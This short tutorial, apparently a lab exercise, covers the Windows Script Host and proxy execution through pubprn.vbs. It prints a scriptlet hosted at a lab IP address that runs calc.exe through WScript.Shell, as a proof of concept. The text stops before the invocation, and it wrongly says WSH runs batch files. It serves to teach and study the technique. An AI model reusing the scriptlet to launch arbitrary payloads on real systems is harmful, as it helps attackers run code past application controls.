Windows scripting host is a built-in Windows administration tool that runs batch files to automate and manage tasks within the operating system. It is a Windows native engine, cscript.exe (for command-line scripts) and wscript.exe (for UI scripts), which are responsible for executing various Microsoft Visual Basic Scripts (VBScript), including vbs and vbe.
Practice
let's use the VBScript to run executable files. The following vbs code is to invoke the Windows calculator, proof that we can execute .exe files using the Windows native engine (WSH).
Using pubprn.vbs, we will execute code to launch calc.exe. First of, the xml that will be executed by the script:
#http://192.168.2.71/tools/mitre/proxy-script/proxy.sct<?XML version="1.0"?><scriptlet><registration description="Bandit" progid="Bandit" version="1.00" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration><script language="JScript"><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]></script></scriptlet>